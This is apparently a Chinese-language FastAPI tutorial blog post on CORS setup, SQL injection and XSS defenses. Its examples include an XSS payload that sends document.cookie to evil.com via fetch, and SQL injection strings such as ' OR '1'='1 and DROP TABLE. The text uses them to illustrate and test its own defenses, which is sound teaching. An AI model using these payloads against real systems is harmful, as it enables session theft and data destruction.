跳到主要內容

Web Day 15 輸入防護:CORS、SQL 注入與 XSS 的後端防線

Web Day 15 輸入防護:CORS、SQL 注入與 XSS 的後端防線

執行需求:CPU 可跑。今天是安全主題的最後一篇,把後端對「使用者輸入」的整體防護做一次整合。我們會處理三個常被混淆的主題:CORS(瀏覽器的跨來源政策)、SQL 注入(在 ORM 下其實不會發生,但要怎麼證明)、XSS(前端 escape 為主,後端能做哪些事)。讀完之後,你會理解這三個攻擊各自的作用層、後端在每層的責任、以及 FastAPI 的 CORSMiddleware 怎麼設定。這是安全主題四篇的收尾,也是後續品質主題的起點。

引言

寫後端很常聽到「CORS、SQL 注入、XSS」這三個詞,但它們其實對應到完全不同的攻擊層次:CORS 是瀏覽器的同源政策,SQL 注入是程式碼層的漏洞,XSS 是輸出端的 escape 缺失。把這三件事混為一談,是初學者最常見的誤區。事實上,「CORS 設定不當」並不會讓你的資料庫被入侵;「SQL 注入」與瀏覽器一點關係也沒有;「XSS」即使你的後端完美無瑕也可能發生(前端忘記 escape)。理解每一層的攻擊面,才能對症下藥。

今天的目標有三個:第一,理解 CORS 在純 API + 前後端分離架構下的正確設定;第二,理解 SQL 注入在我們用 SQLModel 與 ORM 寫法的情況下「為什麼不會發生」,並展示攻擊失敗的證明;第三,理解 XSS 是前端的責任,但後端可以提供哪些保護。最後我們會用一個完整範例把三件事接上 FastAPI 應用。讀完之後你會知道:每個攻擊面對應到哪段程式碼、後端的責任邊界在哪裡。

CORS:瀏覽器的同源政策

「同源政策」(Same-Origin Policy)是瀏覽器的核心安全機制:一個網頁只能對「同一來源」(相同 protocol + domain + port)發送請求並讀取回應。如果前端是 https://app.example.com、API 是 https://api.example.com,這兩個「不同源」,瀏覽器會擋掉 API 回應,除非後端明確用 CORS 標頭說「我允許這個來源」。

很多人誤以為 CORS 是「資安防線」,其實相反:它是「瀏覽器放寬同源政策的機制」。如果沒有 CORS,瀏覽器完全不會把跨來源回應交給 JavaScript;設定 CORS 是「明確告訴瀏覽器:這個跨來源請求是被允許的」。換句話說,CORS 不能擋掉真正的攻擊者(會用 curl、httpx 等程式直接打 API),它擋的是「瀏覽器內的腳本」。

對純 API 服務(沒有瀏覽器前端或前端是同一個網域),CORS 通常不需要設定。但前後端分離(前端在 app.example.com、後端在 api.example.com)就必須設定。FastAPI 提供 CORSMiddleware 讓你用幾行程式處理這件事:

# app/main.py(加入 CORS 設定)
from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware

app = FastAPI(title="Web Day 15 範例", version="0.1.0")

# CORS 設定:只允許特定來源
app.add_middleware(
    CORSMiddleware,
    allow_origins=[
        "https://app.example.com",
        "http://localhost:3000",  # 開發環境
    ],
    allow_credentials=True,
    allow_methods=["GET", "POST", "PATCH", "DELETE"],
    allow_headers=["Authorization", "Content-Type"],
    max_age=600,  # preflight 快取 10 分鐘
)

幾個關鍵參數:allow_origins 是白名單,明確列出哪些來源可以跨域存取;allow_credentials=True 允許帶 cookie 與 Authorization header;allow_methods 限定 HTTP 方法,不要用萬用的 "*";allow_headers 限定允許的 header,避免被用來注入奇怪的自訂 header。max_age 是 preflight 請求(OPTIONS)的快取時間,瀏覽器會在這段時間內不重複詢問後端。

開發環境 vs 正式環境的 CORS

新手最常見的踩雷是「開發時設 allow_origins=["*"],上線忘了改」。這在正式環境會造成兩個問題:第一,"*" 與 allow_credentials=True 不能同時存在(W3C 規範),瀏覽器會拒絕帶 cookie 的請求;第二,即使你想用 "*",也等於對全世界開放跨域存取,惡意網站可以從使用者瀏覽器對你的 API 發動 CSRF 類攻擊。正確做法是把允許的來源從環境變數讀取:

# app/main.py(CORS 從環境變數讀取)
import os

from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware

app = FastAPI(title="Web Day 15 範例", version="0.1.0")

# 從環境變數讀取,生產環境設成實際的前端網域
ALLOWED_ORIGINS = os.environ.get(
    "ALLOWED_ORIGINS",
    "http://localhost:3000,http://127.0.0.1:3000",
).split(",")

app.add_middleware(
    CORSMiddleware,
    allow_origins=ALLOWED_ORIGINS,
    allow_credentials=True,
    allow_methods=["GET", "POST", "PATCH", "DELETE"],
    allow_headers=["Authorization", "Content-Type"],
)

環境變數的設計讓開發(多個 localhost 變體)與正式(單一前端網域)都能用同一份程式碼。

SQL 注入:攻擊原理與為什麼 ORM 保護我們

SQL 注入(SQL Injection)是「使用者輸入被拼接到 SQL 指令,執行了意料外的查詢」。經典的範例是這樣的登入端點:

# 危險的寫法(千萬不要這樣寫)
query = f"SELECT * FROM user WHERE email = '{email}' AND password_hash = '{password}'"
db.execute(query)

如果使用者送 email = "alice@example.com" 與 password = "' OR '1'='1",拼起來變成 SELECT * FROM user WHERE email = 'alice@example.com' AND password_hash = '' OR '1'='1',這個查詢永遠為真,攻擊者就能登入任何帳號。這是 1998 年被首次公開、至今仍出現在新手作品裡的漏洞。

SQLModel(基於 SQLAlchemy)從根本上避免了這個問題:所有查詢都透過「參數化」(parameterized query)機制,把使用者輸入當作「值」而非「SQL 程式碼的一部分」。我們看一下對照:

# SQLModel 的寫法(安全)
from sqlmodel import Session, select

from app.models import User

# 即使 email 是 "alice@example.com' OR '1'='1"
# SQLAlchemy 會把它當作字面值,不會被解析為 SQL
user = session.exec(
    select(User).where(User.email == email)
).first()

底下 SQLAlchemy 生成的 SQL 大致是 SELECT * FROM user WHERE email = ?,? 是資料庫驅動的佔位符,使用者輸入透過驅動層綁定,絕對不會被當成 SQL 解析。這就是「參數化查詢」的核心:使用者輸入與 SQL 結構在資料庫層完全分離。

另一個常見的危險寫法是「字串拼接 ORDER BY」。有些團隊會這樣寫:

# 危險寫法
query = f"SELECT * FROM hero ORDER BY {sort_by}"

# 攻擊者可以送 sort_by = "name; DROP TABLE hero; --"

SQLModel 對此的保護是有限的,因為 order_by() 接受的是 SQLAlchemy 欄位物件而非字串。實務上我們會這樣寫:

# 安全的寫法:白名單映射
from sqlmodel import Session, select

from app.models import Hero

SORTABLE_FIELDS = {
    "id": Hero.id,
    "name": Hero.name,
    "age": Hero.age,
}

def list_heroes(sort_by: str = "id", session: Session = ...) -> list[Hero]:
    # 只允許白名單內的欄位,其他值會 fallback 到預設
    sort_field = SORTABLE_FIELDS.get(sort_by, Hero.id)
    return session.exec(
        select(Hero).order_by(sort_field)
    ).all()

這套「白名單映射」是處理「使用者可控的 SQL 片段」的唯一安全做法。即使我們用 SQLModel,ORDER BY 的欄位仍要從白名單挑,不能直接接受使用者輸入。

證明 SQL 注入不會發生

光說「SQLModel 安全」不夠,我們用一個實際的攻擊 payload 驗證。先註冊一個使用者,再用「典型 SQL 注入字串」當 email 試圖註冊或登入:

# test_sql_injection.py
import httpx

BASE = "http://127.0.0.1:8000/api"
# 經典 SQL 注入 payload
EVIL_EMAIL = "alice@example.com' OR '1'='1"

with httpx.Client(base_url=BASE, timeout=10.0) as client:
    # 嘗試用注入字串註冊
    r = client.post(
        "/auth/register",
        json={"email": EVIL_EMAIL, "password": "Test1234"},
    )
    print(f"註冊攻擊:{r.status_code}", r.json())
    # 輸出(範例):
    # 422 {'error': {'code': 'INVALID_INPUT', ...}}
    # EmailStr 驗證擋掉了(不是合法 email 格式)

    # 用更狡猾的 payload:看似合法 email 內含特殊字元
    r = client.post(
        "/auth/register",
        json={"email": "alice@example.com", "password": "' OR '1'='1"},
    )
    print(f"密碼注入:{r.status_code}")
    # 輸出(範例):201(註冊成功)
    # 因為密碼當字串處理,沒有 SQL 注入風險

    # 用該密碼登入
    r = client.post(
        "/auth/login",
        json={"email": "alice@example.com", "password": "' OR '1'='1"},
    )
    print(f"登入:{r.status_code}")
    # 輸出(範例):200(正常登入,密碼正確)

    # 查詢所有使用者(驗證注入沒有多回傳其他使用者)
    # 先登入 admin 取 token
    admin_token = "..."
    r = client.get(
        "/admin/users",
        headers={"Authorization": f"Bearer {admin_token}"},
    )
    print(f"使用者清單:{len(r.json())} 筆")
    # 輸出:1(只有剛剛註冊的那位,沒有多回傳)
    # 證明 OR '1'='1' 沒有被解析為 SQL 的一部分

這個測試證明:即使攻擊字串進入資料庫(email 欄位存了完整的注入字串),它仍然被當作字面值,不會改變 SQL 查詢的語意。攻擊失敗。這就是「ORM + 參數化查詢」帶來的保護。

XSS:跨站腳本攻擊

XSS(Cross-Site Scripting)是「攻擊者在網頁上注入 JavaScript,在其他使用者瀏覽時執行」。和 CORS、SQL 注入不同,XSS 主要靠前端 escape 解決;但後端仍有一些責任。我們先看攻擊場景:

# 假設有一個「英雄描述」欄位,使用者輸入:
description = "<script>fetch('https://evil.com/steal?c='+document.cookie)</script>"

如果後端把這段內容原封不動地放進 JSON 回應,前端又用 element.innerHTML = hero.description 顯示,瀏覽器就會把 <script> 標籤當 HTML 解析並執行,攻擊者就能偷 cookie、偷 token、偽造請求。

後端的責任不是「過濾所有危險字元」(這是前端的事),而是「保證資料原樣儲存、輸出時由前端負責 escape」。具體來說,後端要做三件事:

第一,「永遠不要相信使用者輸入是純文字」。資料庫存的是「字串」,不是「HTML 片段」。當前端要顯示時,由前端決定要不要 escape、要不要當 HTML 渲染。這是正確的責任分離。

第二,「設定正確的 Content-Type 與 header」。後端回應 JSON 時,header 應該是 Content-Type: application/json; charset=utf-8。即使回應內容含 <script>,瀏覽器也不會把它當 HTML 解析。FastAPI 預設會帶正確的 Content-Type,但我們要在自己的端點檢查。

第三,「對極敏感的欄位加上 Content-Security-Policy」。CSP 是瀏覽器的政策,由後端透過 header 設定。對純 API 來說 CSP 不太需要,但若你的 API 也回應 HTML 頁面(例如 Jinja2 模板),就要設 Content-Security-Policy: default-src 'self' 限制 inline script 執行。

用一個具體例子展示後端怎麼做。我們加一個「建立英雄描述」端點:

# app/routers/heroes.py(新增含描述欄位的端點)
from fastapi import APIRouter, Depends, Response
from pydantic import BaseModel, Field
from sqlmodel import Session

from app.db import get_session
from app.models import Hero

router = APIRouter(prefix="/heroes", tags=["heroes"])


class HeroCreate(BaseModel):
    name: str = Field(min_length=1, max_length=100)
    secret_name: str = Field(min_length=1, max_length=100)
    # 描述欄位就是純文字,由前端決定怎麼顯示
    description: str = Field(default="", max_length=2000)


@router.post("/")
def create_hero(
    payload: HeroCreate,
    response: Response,
    session: Session = Depends(get_session),
) -> dict:
    # 1. 設定安全 header
    response.headers["X-Content-Type-Options"] = "nosniff"
    response.headers["Content-Type"] = "application/json; charset=utf-8"

    # 2. 把使用者輸入當純文字儲存,不做任何 HTML 處理
    hero = Hero(
        name=payload.name,
        secret_name=payload.secret_name,
        description=payload.description,
    )
    session.add(hero)
    session.commit()
    session.refresh(hero)

    # 3. 回傳原始字串,不 escape(因為 JSON 編碼已經處理)
    return {
        "id": hero.id,
        "name": hero.name,
        "description": hero.description,
    }

這個範例展示三件事:X-Content-Type-Options: nosniff 告訴瀏覽器「不要猜 Content-Type」,避免被瀏覽器誤判為 HTML;Content-Type: application/json; charset=utf-8 確保瀏覽器把回應當 JSON 解析;使用者輸入完全原樣儲存,escape 是前端的事。我們在後端不做任何字串處理,避免「過度 escape」造成雙重轉義的 bug。

前端 escape:誰負責什麼

順便說明 XSS 的前端責任。常見的 escape 工具:

React 預設就 escape:你寫 <div>{hero.description}</div> 時,React 會把字串當純文字渲染,不會執行任何 HTML。這是 React 設計的核心安全特性之一。所以 React 開發者只要避免用 dangerouslySetInnerHTML 就不會踩到 XSS。

Vue、Angular、Svelte 也有類似的預設 escape。但「模板字串」或「手動 innerHTML」就容易踩坑,例如:

// 危險寫法
document.getElementById("desc").innerHTML = hero.description;

// 安全寫法
document.getElementById("desc").textContent = hero.description;

用 textContent 取代 innerHTML 是最簡單的修復。後端的責任是把資料原樣傳遞,前端選擇正確的 API 顯示。

其他輸入防護:rate limiting 與大小限制

除了上面三個主題,還有兩個常見的輸入防護措施:「速率限制」(rate limiting)與「請求大小限制」。這兩項不在三大主題之內,但實務上同樣重要,順便在這篇收尾。

速率限制是「每個 IP 或使用者在時間窗口內只能呼叫 N 次」。沒有它,攻擊者可以用單一機器每秒送數萬次請求,把你的伺服器資源吃光。FastAPI 沒有內建 rate limiting,需要用 middleware 實作或裝 slowapi 套件。我們不在今天實作,但會在 Web Day 19「背景任務」之後的品質主題再回來處理。

請求大小限制是「每個請求的 body 不能超過某個大小」。我們昨天做的檔案上傳檢查就是「body 內 multipart 的大小」,但對純 JSON 請求,攻擊者也可以送 100 MB 的 JSON body 拖慢伺服器。FastAPI 預設對 JSON body 沒有大小限制,要在 reverse proxy(Nginx)或 ASGI middleware 層加:

# app/main.py(限制 JSON body 大小)
from fastapi import FastAPI, Request
from fastapi.responses import JSONResponse

MAX_BODY_SIZE = 1 * 1024 * 1024  # 1 MB

app = FastAPI()


@app.middleware("http")
async def limit_body_size(request: Request, call_next):
    # 對非檔案上傳的請求檢查 Content-Length
    content_length = request.headers.get("content-length")
    if content_length and int(content_length) > MAX_BODY_SIZE:
        return JSONResponse(
            status_code=413,
            content={"error": {"code": "PAYLOAD_TOO_LARGE"}},
        )
    return await call_next(request)

這個 middleware 在請求進入業務邏輯前檢查 Content-Length header,超過 1 MB 直接拒絕。注意這對檔案上傳(昨天的 5 MB 上限)會被擋掉,所以實務上要區分「multipart 走檔案大小檢查、application/json 走 body 大小檢查」。最乾淨的做法是把檔案上傳掛在 /api/files/ 路徑、其他 API 掛在 /api/ 路徑,middleware 對檔案路徑放行。

驗證:實際攻擊測試

啟動服務(命令列):

uvicorn app.main:app --reload --port 8000

用 httpx 對三個攻擊做完整驗證:

# test_security.py
import httpx

BASE = "http://127.0.0.1:8000/api"
# 用 httpx(不是瀏覽器)打,繞過 CORS 限制
with httpx.Client(base_url=BASE, timeout=10.0) as client:
    # 攻擊 1:SQL 注入
    r = client.post(
        "/auth/login",
        json={
            "email": "alice@example.com",
            "password": "'; DROP TABLE user; --",
        },
    )
    print(f"SQL 注入:{r.status_code}")
    # 輸出(範例):401(密碼錯誤),攻擊失敗
    # 沒有 DROP TABLE 被執行

    # 攻擊 2:XSS 內容儲存
    xss_payload = "<script>alert('XSS')</script>"
    r = client.post(
        "/heroes/",
        json={
            "name": "Test Hero",
            "secret_name": "Test",
            "description": xss_payload,
        },
    )
    print(f"XSS 儲存:{r.status_code}", r.json())
    # 輸出(範例):200,description 原樣儲存
    # JSON encoder 自動把字串裡的特殊字元轉義

    # 攻擊 3:CORS preflight
    r = client.options(
        "/heroes/",
        headers={
            "Origin": "https://evil.com",
            "Access-Control-Request-Method": "POST",
        },
    )
    print(f"CORS 預檢:{r.status_code}")
    print(f"  Access-Control-Allow-Origin: {r.headers.get('access-control-allow-origin')}")
    # 輸出(範例):None 或不是 evil.com
    # 攻擊者來源不被允許

三個攻擊都正確失敗:SQL 注入因為 ORM 保護沒有執行;XSS 內容被當字串儲存(前端顯示時 escape);CORS 不允許惡意來源。這就是「分層防禦」的成果:每一層都對應到不同的威脅模型,後端把每一層都做好,整體安全性自然提高。

常見錯誤與踩雷

第一個最常見的踩雷是「CORS 設成 ["*"]」。如前所述,這會導致帶 cookie 的請求被拒絕,且對所有來源開放跨域存取。正確做法是維護一份白名單,從環境變數注入。

第二個是「以為用 ORM 就萬無一失」。ORM 確實保護了 WHERE 條件裡的值,但 ORDER BY、LIMIT、欄位名稱這些「SQL 結構片段」仍要從白名單挑選。我們今天示範了 sort_by 的白名單映射,這套模式可以延伸到「動態欄位查詢」等所有「使用者控制 SQL 結構」的情境。

第三個是「XSS 防護做在前端,後端卻跟著 escape」。有些團隊會寫 description.replace("<", "&lt;"),結果前端 React 顯示時再 escape 一次,最後使用者看到的是 &amp;lt;script&gt; 而不是原始內容。這種「雙重 escape」的 bug 非常難除。後端的正確做法是「完全原樣儲存」,escape 交給前端單獨負責。

第四個是「忘記設定 Content-Type」。FastAPI 預設會帶正確的 Content-Type,但有些團隊會用 JSONResponse(content=data) 然後手動覆寫 header。如果不小心把 Content-Type 設成 text/html,瀏覽器會把 JSON 當 HTML 解析,這時即使前端沒做任何 escape,瀏覽器也可能執行裡面的 <script>。務必檢查每一支回應的 Content-Type。

第五個是「CORS 設定擋了合法前端」。最常見的情境是「開發時前端在 localhost:3000,正式環境在 https://app.example.com,但 ALLOWED_ORIGINS 只寫了後者」。這時開發者打 API 就會出現 CORS 錯誤,且錯誤訊息很模糊(瀏覽器只說「被 CORS 政策擋下」不說為什麼)。記得正式與開發兩種環境的 origins 都要在白名單。

效能與實務提醒

CORS 的 preflight(OPTIONS 請求)會對每個「非簡單請求」多送一個請求。但 max_age 設定之後,瀏覽器會快取 preflight 回應,10 分鐘內不會再送。實務上 max_age=600 是合理預設。太長(例如 86400)會讓新增的 origin 要等一天才生效,太短則失去快取意義。

SQL 注入防護幾乎沒有效能成本,ORM 的參數化查詢與拼接字串效能相當。但 ORM 會比 raw SQL 多一層抽象,在非常複雜的查詢(例如 10 個 JOIN)可能會比原生 SQL 慢 10–20%。實務上我們可以在 SQLModel 寫不下去時降級到 SQLAlchemy core 或 text(),但仍用參數化:

# 偶爾會用到的 raw SQL 寫法(仍然安全)
from sqlalchemy import text

result = session.exec(
    text("SELECT * FROM hero WHERE name = :name"),
    params={"name": user_input},
)

XSS 防護在前端實作時要注意效能:React 的 escape 是 O(n),對 1 KB 的字串幾乎沒成本;但如果一次渲染數萬筆資料(例如即時訊息清單),escape 的成本會累積。實務上可以用「虛擬捲動」或「分頁」減少單次渲染數量,避免一次 escape 太多字串。

最後是「rate limiting 的成本」。slowapi 或自製 middleware 會對每個請求做檢查,這個檢查本身成本很低(O(1)),但若用 Redis 做計數器,每次請求都要打一次 Redis。在高效能場景,可以用「token bucket 演算法」在記憶體中做計數(單機有效),犧牲多機部署的精確度換取效能。

小結

今天把後端對使用者輸入的整體防護做了一次整合。CORS 是瀏覽器的政策,不是資安防線,但前後端分離架構下必須正確設定;SQL 注入在 ORM + 參數化查詢下從根本上不會發生,但 ORDER BY 等 SQL 結構片段仍要從白名單挑選;XSS 主要靠前端 escape,但後端要正確設定 Content-Type 與不對資料做多餘處理。我們也順帶看了速率限制與請求大小限制兩個延伸議題。今天收尾之後,安全主題四篇(密碼雜湊、JWT 認證、OAuth2 角色、輸入防護)就完整了。明天進入品質主題的第一篇「測試入門:pytest 與 TestClient」,開始為整個 API 寫自動化測試。

結語

今天把安全主題的最後一塊拼圖放上。明天進入「品質」主題,開始用 pytest 與 FastAPI 的 TestClient 為前面十五天的程式碼寫自動化測試。我們會把註冊、登入、認證、權限、檔案上傳、輸入防護等端點一個一個測過,建立完整的測試套件;之後的部署(Day 32 CI/CD)會直接跑這套測試做為品質把關。安全 + 品質是「能上線」的兩塊基石,接下來一週把它們都建好。

延伸資源

  • FastAPI 官方文件:CORS(0.116,2025):https://fastapi.tiangolo.com/tutorial/cors/
  • OWASP SQL 注入預防 cheat sheet(2025):https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
  • OWASP XSS 預防 cheat sheet(2025):https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
  • MDN:CORS(2025):https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS

留言

這個網誌中的熱門文章

Day 2 變數與資料型別

Day 2 變數與資料型別 引言 寫程式的過程中,變數與資料型別是處理資料的基礎。變數是存放資料的容器,資料型別則決定這筆資料有哪些特性、可以進行哪些操作。學會定義變數、認識各種資料型別,是學好 Python 的關鍵一步。 這篇文章會帶你了解 Python 中變數的觀念、如何定義變數,以及常見的資料型別,包括整數、浮點數、字串、布林值,還有串列、元組、字典與集合等容器型別。我們也會介紹變數的命名規則與撰寫風格建議,以及如何用 type() 檢查資料型別。 什麼是變數?如何在 Python 中定義變數 變數是在程式執行時用來存放資料的名稱。透過定義變數,我們可以給一筆資料一個名字,並在程式的其他地方用這個名字取用該筆資料。在 Python 中,變數不需要事先宣告型別,因為 Python 是動態型別語言,變數的型別由指定給它的值決定。 定義變數的基本語法 在 Python 中定義變數非常簡單,只要用賦值符號 = 把值指定給變數即可。例如: x = 5 # 定義變數 x,並把整數 5 賦值給它 name = "Alice" # 定義變數 name,並把字串 "Alice" 賦值給它 在這裡,x 是一個變數,被賦予整數 5;name 是另一個變數,被賦予字串 "Alice"。 變數的更新與覆寫 變數的值可以修改,也就是說,我們可以在程式的不同地方給同一個變數新的值。例如: x = 10 # x 最初被賦予 10 x = 15 # x 的值現在被更新為 15 這樣就能依照需求,在程式執行過程中靈活調整變數的值。 Python 的動態型別系統 Python 和某些靜態型別語言不同,定義變數時不需要宣告型別。賦值時,Python 會根據值自動判斷變數的型別。例如: x = 5 # x 是整數 x = 3.14 # x 變成浮點數 x = "Hi" # x 變成字串 同一個變數在程式執行過程中可以存放不同型別的值,這是 Python 的彈性之一。 常見資料型別 在 Python 中,資料型別決定我們可以對變數進行哪些操作...

Day 1 Python 簡介與環境設定

Day 1 Python 簡介與環境設定 引言 在現在的科技環境裡,程式設計已經是一項重要技能。無論你是對資料科學有興趣、想成為開發者,或是想踏入人工智慧(AI)領域,學會寫程式都能明顯提升你的競爭力。在眾多程式語言中,Python 因為語法簡單、功能強大、應用範圍廣泛,成為許多人進入程式世界的第一選擇。這篇文章會帶你認識 Python 的背景與優勢,並一步步教你在不同系統上安裝與設定 Python 開發環境,最後寫出第一支 Python 程式。 為什麼選擇 Python? Python 是一種高階程式語言,由 Guido van Rossum 在 1991 年發布。Python 的設計哲學強調程式碼的可讀性,並用縮排來定義程式區塊,這點和許多使用大括號的語言不同。簡潔的語法讓它成為初學者的理想選擇;就算是經驗豐富的開發者,也能用它完成複雜的專案。 Python 的優勢如下: 簡單易學 :Python 的語法清楚、結構簡潔,初學者很快就能上手。和其他語言相比,學習曲線相對平緩,不需要先弄懂一堆複雜觀念,就能開始寫程式。 應用範圍廣泛 :從資料科學、網頁開發、人工智慧、機器學習、自動化測試到網路爬蟲,Python 都有大量開源函式庫與工具支援,而且在這些領域都扮演關鍵角色。 豐富的函式庫與框架 :Python 的函式庫生態系非常龐大。做資料分析有 NumPy、Pandas;開發網站有 Django、Flask;做深度學習有 TensorFlow、PyTorch。各種需求幾乎都能找到對應的套件,讓開發更有效率。 跨平台支援 :Python 支援 Windows、macOS、Linux 等作業系統,程式通常不需要太多修改就能跨平台執行,讓開發與部署更有彈性。 活躍的社群 :Python 擁有龐大的開發者社群。學習或開發上遇到問題,幾乎都能在社群與論壇(例如 Stack Overflow)找到答案,對初學者來說是很強的後盾,也能減少卡關時的挫折感。 Python 的應用領域 Python 的流行與強大功能,讓許多領域都開始大量使用它。以下是幾個常見的應用方向: 資料科學 :隨著大數據與人工智慧興起,資料科學大量使用 Python。NumPy、Pandas 與 Matplotlib 等工具能處理和分析龐...

Python 從入門到 PyTorch 深度學習:開啟 AI 世界的大門

Python 從入門到 PyTorch 深度學習:開啟 AI 世界的大門 隨著人工智慧(AI)與深度學習(Deep Learning)快速發展,越來越多人對這些技術產生興趣。不論你是想踏入 AI 領域的初學者,還是已經有程式基礎的開發者,學好 Python 與深度學習框架(例如 PyTorch),都能為你打開更多可能。 為什麼選擇 Python? Python 已經是資料科學與人工智慧領域的首選語言。它的語法簡潔、容易上手,而且擁有龐大的生態系與大量開源函式庫。無論是資料處理、資料視覺化,還是建立機器學習與深度學習模型,Python 都能勝任。對想進入 AI 或資料科學領域的人來說,它幾乎是必備工具。 PyTorch 是什麼? PyTorch 是由 Meta(原 Facebook)AI 研究團隊開發的開源深度學習框架,以易用、靈活和動態計算圖著稱,是許多 AI 研究人員與開發者的首選。相較於其他框架,PyTorch 的寫法更貼近原生 Python,對初學者相對友善。無論是簡單的實驗,還是複雜的深度學習模型,PyTorch 都能提供強大的支援。 這個系列能帶給你什麼? 這個系列會從 Python 的基礎開始,帶你一步一步學習,最後能自己用 PyTorch 建立深度學習模型。即使你完全沒有寫過程式,也能跟著文章的節奏累積技能,理解 AI 與深度學習的核心觀念。 本系列涵蓋的主題 Python 基礎:從變數、條件判斷到函式與模組。 資料處理工具:用 NumPy 與 Pandas 有效率地操作資料。 資料視覺化:用 Matplotlib 與 Seaborn 把資料畫成圖表。 深度學習的數學基礎:線性代數、微積分與機率。 PyTorch 入門:理解張量、模型建構與 GPU 加速。 基礎深度學習模型:CNN 與 RNN 的實作應用。 深度學習專案實戰:從資料前處理到模型部署的端到端流程。 誰適合這個系列? 程式初學者 :如果你對 AI 充滿好奇,卻還沒寫過程式,系列的第一部分會帶你快速上手 Python,並幫助你理解深度學習的基本觀念。 資料科學愛好者 :如果你已經熟悉一些資料處理方法,進階部分會教你如何用 PyTorch 建構深度學習模型。 開發者與研究人員 :想更深入了...